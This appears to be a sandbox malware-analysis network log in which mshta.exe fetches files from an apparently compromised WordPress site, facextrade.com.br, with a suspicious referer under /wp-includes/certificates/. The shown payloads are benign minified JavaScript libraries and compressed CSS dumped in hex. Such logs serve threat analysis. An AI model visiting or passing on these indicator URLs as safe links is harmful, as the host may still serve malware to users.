63 68 61 72 41 74 28 30 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 69 2e 73 6c 69 63 65 28 31 29 2c 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 5b 69 5d 26 26 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 5b 69 5d 2e 61 70 70 6c 79 28 74 2c 65 2e 69 73 41 72 72 61 79 28 6e 29 3f 6e 3a 5b 6e 5d 29 29 7d 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 28 74 2e 73 74 2e 66 6f 63 75 73 3f 74 2e 63 6f 6e 74 65 6e 74 2e 66 69 6e 64 28 74 2e 73 74 2e 66 6f 63 75 73 29 2e 65 71 28 30 29 3a 74 2e 77 72 61 70 29 2e 74 72 69 67 67 65 72 28 22 66 6f 63 75 73 22 29 7d 2c 53 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 73 26 26 74 2e 63 75 72 72 54 65 6d 70 6c 61 74 65 2e 63 6c 6f 73 65 42 74 6e 7c 7c 28 74 2e 63 75 72 72 54 65 6d 70 6c 61 74 65 2e 63 6c 6f 73 65 42 74 6e 3d 65 28 74 2e 73 74 2e 63 6c 6f 73 65 4d 61 72 6b 75 70 2e 72 65 70 6c 61 63 65 28 22 25 74 69 74 6c 65 25 22 2c 74 2e 73 74 2e 74 43 6c 6f 73 65 29 29 2c 73 3d 69 29 2c 74 2e 63 75 72 72 Data Ascii: /! Magnific Popup - v0.9.3 - 2013-07-16 http://dimsemenov.com/plugins/magnific-popup/* Copyright (c) 2013 Dmitry Semenov; */(function(e){var t,i,n,o,a,r,s,l="Close",c="BeforeClose",d="AfterClose",u="BeforeAppend",p="MarkupParse",f="Open",m="Change",g="mfp",v="."+g,h="mfp-ready",C="mfp-removing",y="mfp-prevent-close",w=function(){},b=!!window.jQuery,I=e(window),x=function(e,i){t.ev.on(g+e+v,i)},k=function(t,i,n,o){var a=document.createElement("div");return a.className="mfp-"+t,n&&(a.innerHTML=n),o?i&&i.appendChild(a):(a=e(a),i&&a.appendTo(i)),a},T=function(i,n){t.ev.triggerHandler(g+i,n),t.st.callbacks&&(i=i.charAt(0).toLowerCase()+i.slice(1),t.st.callbacks[i]&&t.st.callbacks[i].apply(t,e.isArray(n)?n:[n]))},E=function(){(t.st.focus?t.content.find(t.st.focus).eq(0):t.wrap).trigger("focus")},S=function(i){return i===s&&t.currTemplate.closeBtn\|\|(t.currTemplate.closeBtn=e(t.st.closeMarkup.replace("%title%",t.st.tClose)),s=i),t.curr
Aug 16, 2022 11:53:41.464405060 CEST	2484	OUT	GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:41.710150003 CEST	2490	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:13 GMT Server: Apache ETag: "a53516-d453-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 54355 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 18766008 15664938 Age: 208 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 0a 20 2a 20 6a 50 6c 61 79 65 72 20 50 6c 75 67 69 6e 20 66 6f 72 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6a 70 6c 61 79 65 72 2e 6f 72 67 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 39 20 2d 20 32 30 31 34 20 48 61 70 70 79 77 6f 72 6d 20 4c 74 64 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0a 20 2a 0a 20 2a 20 41 75 74 68 6f 72 3a 20 4d 61 72 6b 20 4a 20 50 61 6e 61 67 68 69 73 74 6f 6e 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 32 2e 36 2e 30 0a 20 2a 20 44 61 74 65 3a 20 32 6e 64 20 41 70 72 69 6c 20 32 30 31 34 0a 20 2a 2f 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 29 3a 62 2e 6a 51 75 65 72 79 3f 66 28 62 2e 6a 51 75 65 72 79 29 3a 66 28 62 2e 5a 65 70 74 6f 29 7d 29 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 62 2e 66 6e 2e 6a 50 6c 61 79 65 72 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 61 2c 64 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 2c 65 3d 74 68 69 73 3b 61 3d 21 63 26 26 64 2e 6c 65 6e 67 74 68 3f 62 2e 65 78 74 65 6e 64 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 5b 21 30 2c 61 5d 2e 63 6f 6e 63 61 74 28 64 29 29 3a 61 3b 69 66 28 63 26 26 22 5f 22 3d 3d 3d 61 2e 63 68 61 72 41 74 28 30 29 29 72 65 74 75 72 6e 20 65 3b 63 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 29 2c 68 3d 63 26 26 62 2e 69 73 46 75 6e 63 74 69 6f 6e 28 63 5b 61 5d 29 3f 63 5b 61 5d 2e 61 70 70 6c 79 28 63 2c 64 29 3a 63 3b 69 66 28 68 21 3d 3d 63 26 26 68 21 3d 3d 66 29 72 65 74 75 72 6e 20 65 3d 68 2c 21 31 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 29 3b 63 3f 63 2e 6f 70 74 69 6f 6e 28 61 7c 7c 0a 7b 7d 29 3a 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 2c 6e 65 77 20 62 2e 6a 50 6c 61 79 65 72 28 61 2c 74 68 69 73 29 29 7d 29 3b 72 65 74 75 72 6e 20 65 7d 3b 62 2e 6a 50 6c 61 79 65 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 74 68 69 73 2e 65 6c 65 6d 65 6e 74 3d 62 28 63 29 3b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 7d 2c 74 68 69 73 2e 6f 70 74 Data Ascii: /* * jPlayer Plugin for jQuery JavaScript Library * http://www.jplayer.org * * Copyright (c) 2009 - 2014 Happyworm Ltd * Licensed under the MIT license. * http://opensource.org/licenses/MIT * * Author: Mark J Panaghiston * Version: 2.6.0 * Date: 2nd April 2014 */(function(b,f){"function"===typeof define&&define.amd?define(["jquery"],f):b.jQuery?f(b.jQuery):f(b.Zepto)})(this,function(b,f){b.fn.jPlayer=function(a){var c="string"===typeof a,d=Array.prototype.slice.call(arguments,1),e=this;a=!c&&d.length?b.extend.apply(null,[!0,a].concat(d)):a;if(c&&"_"===a.charAt(0))return e;c?this.each(function(){var c=b(this).data("jPlayer"),h=c&&b.isFunction(c[a])?c[a].apply(c,d):c;if(h!==c&&h!==f)return e=h,!1}):this.each(function(){var c=b(this).data("jPlayer");c?c.option(a\|\|{}):b(this).data("jPlayer",new b.jPlayer(a,this))});return e};b.jPlayer=function(a,c){if(arguments.length){this.element=b(c);this.options=b.extend(!0,{},this.opt
Aug 16, 2022 11:53:41.725637913 CEST	2546	OUT	GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:41.961679935 CEST	2551	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:13 GMT Server: Apache ETag: "a53555-2a0a-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 10762 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 18766010 15664940 Age: 208 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 7a 41 63 63 6f 72 64 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 64 3d 7b 74 69 6d 65 6f 75 74 3a 36 30 30 30 2c 77 69 64 74 68 3a 6e 75 6c 6c 2c 73 6c 69 64 65 57 69 64 74 68 3a 6e 75 6c 6c 2c 74 61 62 57 69 64 74 68 3a 6e 75 6c 6c 2c 68 65 69 67 68 74 3a 6e 75 6c 6c 2c 73 74 61 72 74 69 6e 67 53 6c 69 64 65 3a 30 2c 73 6c 69 64 65 43 6c 61 73 73 3a 6e 75 6c 6c 2c 65 61 73 69 6e 67 3a 6e 75 6c 6c 2c 73 70 65 65 64 3a 31 32 30 30 2c 61 75 74 6f 3a 74 72 75 65 2c 74 72 69 67 67 65 72 3a 22 63 6c 69 63 6b 22 2c 70 61 75 73 65 3a 74 72 75 65 2c 69 6e 76 65 72 74 3a 66 61 6c 73 65 2c 61 6e 69 6d 61 74 69 6f 6e 53 74 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 61 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 62 75 69 6c 64 43 6f 6d 70 6c 65 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 65 72 72 6f 72 73 3a 66 61 6c 73 65 7d 2c 63 3d 7b 64 69 73 70 6c 61 79 45 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 66 29 7b 69 66 28 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 26 26 66 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 7a 41 63 63 6f 72 64 69 6f 6e 3a 20 22 2b 67 2b 22 2e 22 29 7d 7d 2c 66 69 6e 64 43 68 69 6c 64 45 6c 65 6d 65 6e 74 73 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 66 2e 63 68 69 6c 64 72 65 6e 28 29 2e 67 65 74 28 30 29 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 65 6c 73 65 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 7d 2c 67 65 74 4e 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 76 61 72 20 66 3d 68 2b 31 3b 69 66 28 66 3e 3d 67 29 7b 66 3d 30 7d 72 65 74 75 72 6e 20 66 7d 2c 66 69 78 48 65 69 67 68 74 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 28 66 2e 68 65 69 67 68 74 3d 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 66 2e 68 65 69 67 68 74 3d 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3b 72 65 74 75 72 6e 20 74 72 75 65 7d 65 6c 73 65 7b 69 66 28 28 66 2e 68 65 69 67 68 74 21 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 65 6c 73 65 7b 69 66 28 28 66 2e 68 65 69 67 68 74 3d 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 7d 7d 7d 2c 67 65 74 55 6e 69 74 73 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 66 21 3d 3d 6e 75 6c 6c 29 7b 69 66 28 66 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 25 22 29 3e 2d 31 29 7b 72 65 74 75 72 6e 22 25 22 7d 65 6c 73 65 7b 69 66 28 66 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 70 78 22 29 3e 2d 31 29 7b 72 65 74 75 72 6e 22 70 78 22 7d 65 6c 73 65 7b 72 65 74 75 72 Data Ascii: (function(a){a.fn.zAccordion=function(e){var d={timeout:6000,width:null,slideWidth:null,tabWidth:null,height:null,startingSlide:0,slideClass:null,easing:null,speed:1200,auto:true,trigger:"click",pause:true,invert:false,animationStart:function(){},animationComplete:function(){},buildComplete:function(){},errors:false},c={displayError:function(g,f){if(window.console&&f){console.log("zAccordion: "+g+".")}},findChildElements:function(f){if(f.children().get(0)===undefined){return false}else{return true}},getNext:function(g,h){var f=h+1;if(f>=g){f=0}return f},fixHeight:function(f){if((f.height===null)&&(f.slideHeight!==undefined)){f.height=f.slideHeight;return true}else{if((f.height!==null)&&(f.slideHeight===undefined)){return true}else{if((f.height===null)&&(f.slideHeight===undefined)){return false}}}},getUnits:function(f){if(f!==null){if(f.toString().indexOf("%")>-1){return"%"}else{if(f.toString().indexOf("px")>-1){return"px"}else{retur
Aug 16, 2022 11:53:41.965826035 CEST	2562	OUT	GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:42.209728956 CEST	2606	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:14 GMT Server: Apache ETag: "a55f36-56f-5c001a3bfb868" Last-Modified: Thu, 15 Apr 2021 12:02:38 GMT Content-Length: 1391 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 18766012 15664942 Age: 208 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 21 31 2c 6e 3d 21 31 3b 69 66 28 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 69 66 28 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 65 3d 21 30 3b 69 66 28 63 2e 77 70 3d 63 2e 77 70 7c 7c 7b 7d 2c 21 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 29 69 66 28 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 64 61 74 61 3b 69 66 28 74 29 69 66 28 74 2e 73 65 63 72 65 74 7c 7c 74 2e 6d 65 73 73 61 67 65 7c 7c 74 2e 76 61 6c 75 65 29 69 66 28 21 2f 5b 5e 61 2d 7a 41 2d 5a 30 2d 39 5d 2f 2e 74 65 73 74 28 74 2e 73 65 63 72 65 74 29 29 7b 66 6f 72 28 76 61 72 20 72 2c 61 2c 69 2c 73 3d 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 69 66 72 61 6d 65 5b 64 61 74 61 2d 73 65 63 72 65 74 3d 22 27 2b 74 2e 73 65 63 72 65 74 2b 27 22 5d 27 29 2c 6e 3d 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 62 6c 6f 63 6b 71 75 6f 74 65 5b 64 61 74 61 2d 73 65 63 72 65 74 3d 22 27 2b 74 2e 73 65 63 72 65 74 2b 27 22 5d 27 29 2c 6f 3d 30 3b 6f 3c 6e 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 6e 5b 6f 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 3b 66 6f 72 28 6f 3d 30 3b 6f 3c 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 69 66 28 72 3d 73 5b 6f 5d 2c 65 2e 73 6f 75 72 63 65 3d 3d 3d 72 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 29 7b 69 66 28 72 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 73 74 79 6c 65 22 29 2c 22 68 65 69 67 68 74 22 3d 3d 3d 74 2e 6d 65 73 73 61 67 65 29 7b 69 66 28 31 65 33 3c 28 69 3d 70 61 72 73 65 49 6e 74 28 74 2e 76 61 6c 75 65 2c 31 30 29 29 29 69 3d 31 65 33 3b 65 6c 73 65 20 69 66 28 7e 7e 69 3c 32 30 30 29 69 3d 32 30 30 3b 72 2e 68 65 69 67 68 74 3d 69 7d 69 66 28 22 6c 69 6e 6b 22 3d 3d 3d 74 2e 6d 65 73 73 61 67 65 29 69 66 28 61 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 2c 69 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 2c 61 2e 68 72 65 66 3d 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 29 2c 69 2e 68 72 65 66 3d 74 2e 76 61 6c 75 65 2c 69 2e 68 6f 73 74 3d 3d 3d 61 2e 68 6f 73 74 29 69 66 28 64 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 3d 3d 72 29 63 2e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 74 2e 76 61 6c 75 65 7d 7d 7d 2c 65 29 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 65 73 73 61 67 65 22 2c 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 2c 21 31 29 2c 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 74 2c 21 31 29 2c 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 74 2c 21 31 29 3b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 69 66 28 21 6e 29 7b 6e 3d 21 30 3b 66 6f 72 28 76 61 72 Data Ascii: !function(c,d){"use strict";var e=!1,n=!1;if(d.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp\|\|{},!c.wp.receiveEmbedMessage)if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(t)if(t.secret\|\|t.message\|\|t.value)if(!/[^a-zA-Z0-9]/.test(t.secret)){for(var r,a,i,s=d.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),n=d.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),o=0;o<n.length;o++)n[o].style.display="none";for(o=0;o<s.length;o++)if(r=s[o],e.source===r.contentWindow){if(r.removeAttribute("style"),"height"===t.message){if(1e3<(i=parseInt(t.value,10)))i=1e3;else if(~~i<200)i=200;r.height=i}if("link"===t.message)if(a=d.createElement("a"),i=d.createElement("a"),a.href=r.getAttribute("src"),i.href=t.value,i.host===a.host)if(d.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener("message",c.wp.receiveEmbedMessage,!1),d.addEventListener("DOMContentLoaded",t,!1),c.addEventListener("load",t,!1);function t(){if(!n){n=!0;for(var

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49175	104.18.11.207	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:18.738778114 CEST	37	OUT	GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: netdna.bootstrapcdn.com Connection: Keep-Alive
Aug 16, 2022 11:53:18.772727013 CEST	39	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:53:18 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US CDN-EdgeStorageId: 617 CDN-EdgeStorageId: 617 Last-Modified: Mon, 25 Jan 2021 22:04:51 GMT CDN-CachedAt: 2021-06-08 14:14:42 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 Cache-Control: public, max-age=31919000 timing-allow-origin: * cross-origin-resource-policy: cross-origin access-control-allow-origin: * x-content-type-options: nosniff CDN-RequestId: 9256d228095e0e65283ebf5530b25e58 Content-Encoding: gzip CDN-Cache: HIT CF-Cache-Status: HIT Age: 17546283 Server: cloudflare CF-RAY: 73b9483c281f9bd7-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 37 34 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 5d fb 93 db 36 92 fe dd 7f 05 cf a9 9c 1d 97 29 0f 47 f3 de ca 5e 1c c7 d9 73 9d 73 76 ad 9d da bd ba 47 15 45 42 12 33 94 c8 f0 31 0f 5f e5 7f bf af 01 52 ea 16 d9 a0 72 1b d7 ae e3 21 1b 40 a3 f1 f5 03 8d 06 e7 d5 8b 7f 7a 12 bc 08 82 1f 8b 6d 13 bc be 37 75 b1 31 c1 7c 76 3a 8b ec e3 66 6d 82 2c 29 b6 59 12 2c 89 22 35 75 b6 da 9a 14 3f 55 c1 f7 45 d1 d4 4d 15 97 96 34 fc 43 ff d8 2e 3f 63 f4 65 9b e7 41 dd 66 8d 09 8a 65 50 66 49 53 ac 30 e4 1a 1c 11 63 f5 cb c0 3c c4 9b 32 37 f8 57 bc 4d 83 b4 48 da 8d d9 36 71 93 15 db 20 89 b7 c1 c2 d8 ce 96 45 8b d7 71 13 ac 9b a6 bc 79 f5 8a e6 13 bb 09 cf b2 62 16 04 9f 9a f8 31 68 cb a0 29 82 34 a6 e1 b6 c1 e7 fb ac 69 4c 85 56 b6 8b ae 65 e3 9e ce 92 62 23 7a 01 8d 25 7b 9f 25 66 5b bb 51 ff 50 a1 84 4e d0 56 2e 62 c1 ec da 64 75 90 bb 91 d3 00 53 05 db 9f de bd 0f 3e fc f8 3e 88 66 51 e0 da ee e6 50 27 55 56 36 f5 ac ce f2 59 51 ad 5e 81 ac eb 5c 74 fc e6 d3 a7 97 c1 fb b7 f4 37 09 f7 d3 eb 4f 9f 82 65 06 61 07 71 65 0e 87 fb e9 dd e7 7e ee 87 c3 15 25 24 52 b4 55 62 ec 68 1d 9f f5 ab 4d d6 84 dd 0f b3 75 b3 c9 c7 78 90 2b 7a 30 c5 37 6f 82 ef ff 03 80 3d 39 1c 31 a9 0c 20 70 67 b0 48 1b c0 44 0e bb 78 7c 85 26 af ba d1 5e 37 4d 95 2d 5a 0b 18 08 71 5b 04 79 b1 5d 41 7e 95 f9 b5 cd 2a a0 3d db 1e 2a c8 c9 cb 00 2d 82 4d 9b ac 83 b8 2c 2b 93 64 c0 4c 7a 63 bb 0c 82 a7 42 8a 8b c7 e0 87 f8 ce 04 7f 81 0c 1f 83 70 1c 81 4f 7b f8 Data Ascii: 1747]6)G^ssvGEB31_Rr!@zm7u1\|v:fm,)Y,"5u?UEM4C.?ceAfePfIS0c<27WMH6q Eqyb1h)4iLVeb#z%{%f[QPNV.bduS>>fQP'UV6YQ^\t7Oeaqe~%$RUbhMux+z07o=91 pgHDx\|&^7M-Zq[y]A~=-M,+dLzcBpO{
Aug 16, 2022 11:53:18.772825956 CEST	40	IN	Data Raw: bc 6e 9b 35 b4 2b 64 6d 1c a3 7f 28 96 6c 97 6f 37 71 96 df 00 ee 77 e6 3b a9 0f f6 75 07 ff 9b 31 e0 2f 1e eb 04 5a 59 5b c2 bf 15 d5 ed 4d f0 de c4 69 f0 b1 2a d2 36 69 82 1f 9c a5 a8 82 ef 82 7f 7b ac da b6 de cf fb d6 fe 4c ea 83 c6 af 9e bc Data Ascii: n5+dm(lo7qw;u1/ZY[Mi*6i{Lz?_WM&Q[>eV6Yx<#wFf3\_{g3S4r5z}2{]kyl&MM<4'rge=>}5oB}A26@edus
Aug 16, 2022 11:53:18.772854090 CEST	42	IN	Data Raw: d9 8f c1 56 b8 eb 77 74 cc 81 dc 45 27 fb 6d e9 90 6e 9c 93 21 9d 33 6a 03 a6 18 e1 ef 5d cd 9d 9b 74 7d 9c 3e 60 82 e3 8b e6 a7 64 b3 db 3b f9 e3 fa b4 1e b5 27 e5 9e d5 1a ff 59 74 75 14 1a a5 b0 c6 a7 60 77 d9 84 2a bf c0 d8 80 24 8b b0 46 d6 Data Ascii: VwtE'mn!3j]t}>`d;'Ytu`w*$F% 4M8!!A80G(8n\|{,w'?fcAlK[c@vP(KECVZvB#:xw,;j@%OFB}
Aug 16, 2022 11:53:18.772881985 CEST	43	IN	Data Raw: ac 42 15 ab b4 73 6e 78 29 7b a4 53 72 18 2f 8a 5c 57 e0 39 87 70 86 f0 da 13 61 cc 85 3d a5 ca a5 2e 65 a6 4d 6e ce b1 6c b3 2a 2e e5 a6 d2 73 2c db dc aa 2d 76 d0 a7 c9 b1 ec e8 5d 11 95 de 82 83 d9 b5 e0 26 65 68 84 e6 1c ce ae c1 2f 6d dd 64 Data Ascii: Bsnx){Sr/\W9pa=.eMnl*.s,-v]&eh/mdK=JsTPdW&:grB2e;^@'X7%h6.C"Owa$xodH=&<"EDC7Y/8qgucJ$uM7VxjY[)6k#^I9Jk:U;D
Aug 16, 2022 11:53:18.772908926 CEST	44	IN	Data Raw: 4e cd 21 dc 1d c3 33 81 f7 06 0d ca a8 6f 26 0d c7 75 6e 56 9e 82 0f c3 e1 9c a2 66 63 51 f8 22 3d 33 92 56 f1 ee 00 cc d8 86 d3 df 42 06 e5 9e 22 29 23 ed 70 63 36 b1 ee fa 0c c7 31 76 b2 f8 fe 44 ae 9f fd 1a 8e e2 12 47 19 ba d1 33 d2 06 e3 aa Data Ascii: N!3o&unVfcQ"=3VB")#pc61vDG3U=7H0"d#Bqr"l]7oL^FwKgO Kh7Yh}'Pe<\|p.3EZ[tsJK6S/H8r!Jtj^6cwcR\|HZ$Oq0@f;
Aug 16, 2022 11:53:18.772931099 CEST	45	IN	Data Raw: ea 6b 53 fc fe 93 85 e7 ac 3d 12 85 b5 f5 2d 7d a3 5d e5 81 83 18 bf 74 a7 aa 7f 6d 3d f7 b0 f0 15 16 16 41 37 74 a6 a6 ef ec 65 1d 2d 0e eb 3c 52 be e2 d1 8c 9f 52 c4 2e f8 8d 3f 7a 89 47 24 6a 67 eb 56 df 42 8a 32 59 fc 92 08 0f a5 48 8e e3 23 Data Ascii: kS=-}]tm=A7te-<RR.?zG$jgVB2YH#tEqU"Q{'lD%,~=#}J t>>_j
